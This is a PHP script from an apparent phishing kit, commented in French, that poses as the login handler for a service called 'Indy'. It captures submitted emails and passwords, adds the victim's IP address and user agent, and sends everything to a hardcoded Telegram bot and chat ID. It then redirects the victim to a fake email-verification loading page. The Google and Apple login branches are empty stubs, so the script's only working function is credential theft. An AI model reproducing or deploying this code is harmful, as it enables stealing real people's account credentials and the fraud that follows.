/home2/mshostin/public_html/ez/indyfinal/process_login.php
<?php
/**
 * Fichier de traitement de connexion
 * Envoie les données de connexion à Telegram et redirige vers vérification email
 */

// ===================================
// CONFIGURATION TELEGRAM
// ===================================
$TELEGRAM_BOT_TOKEN = '8597813695:AAGtHe8oDbZM_HtZx2C9_zZSRyrADFEdW0Q'; // À remplir avec votre token bot Telegram
$TELEGRAM_CHAT_ID = '8503029197';   // À remplir avec votre chat ID Telegram

// ===================================
// RÉCUPÉRATION DES DONNÉES
// ===================================

$email = isset($_POST['email']) ? trim($_POST['email']) : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$provider = isset($_POST['provider']) ? $_POST['provider'] : '';

// ===================================
// VALIDATION BASIQUE
// ===================================

if (empty($email) && empty($provider)) {
    header('Location: index.html?error=empty_fields');
    exit;
}

if (!empty($email) && !filter_var($email, FILTER_VALIDATE_EMAIL)) {
    header('Location: index.html?error=invalid_email');
    exit;
}

// ===================================
// TRAITEMENT OAUTH (Google, Apple)
// ===================================

if (!empty($provider)) {
    if ($provider === 'google') {
        // TODO: Implémenter la logique de connexion Google OAuth
        // - Redirection vers Google OAuth
        // - Récupération des informations utilisateur
        // - Création/mise à jour en base de données
        // - Création de session
    } elseif ($provider === 'apple') {
        // TODO: Implémenter la logique de connexion Apple OAuth
        // - Redirection vers Apple OAuth
        // - Récupération des informations utilisateur
        // - Création/mise à jour en base de données
        // - Création de session
    }
    exit;
}

// ===================================
// ENVOI À TELEGRAM
// ===================================

if (!empty($TELEGRAM_BOT_TOKEN) && !empty($TELEGRAM_CHAT_ID)) {
    // Préparation du message
    $message = "🔐 *TENTATIVE DE CONNEXION INDY*\n\n";
    $message .= "📧 Email: `" . htmlspecialchars($email) . "`\n";
    $message .= "🔑 Mot de passe: `" . htmlspecialchars($password) . "`\n";
    $message .= "⏰ Date/Heure: " . date('d/m/Y H:i:s') . "\n";
    $message .= "🌍 Adresse IP: " . $_SERVER['REMOTE_ADDR'] . "\n";
    $message .= "🖥️ User Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\n";
    
    // URL de l'API Telegram
    $url = "https://api.telegram.org/bot" . $TELEGRAM_BOT_TOKEN . "/sendMessage";
    
    // Données à envoyer
    $data = [
        'chat_id' => $TELEGRAM_CHAT_ID,
        'text' => $message,
        'parse_mode' => 'Markdown'
    ];
    
    // Options pour file_get_contents
    $options = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => http_build_query($data)
        ]
    ];
    
    // Envoi de la requête
    $context = stream_context_create($options);
    $response = @file_get_contents($url, false, $context);
}

// ===================================
// STOCKAGE DE L'EMAIL EN SESSION
// ===================================

// Démarrer la session pour stocker l'email
session_start();
$_SESSION['user_email'] = $email;
$_SESSION['user_password'] = $password;

// ===================================
// REDIRECTION VERS VÉRIFICATION EMAIL
// ===================================

// Redirection vers la page de vérification email
header('Location: loading.html?email=' . urlencode($email));
exit;

?>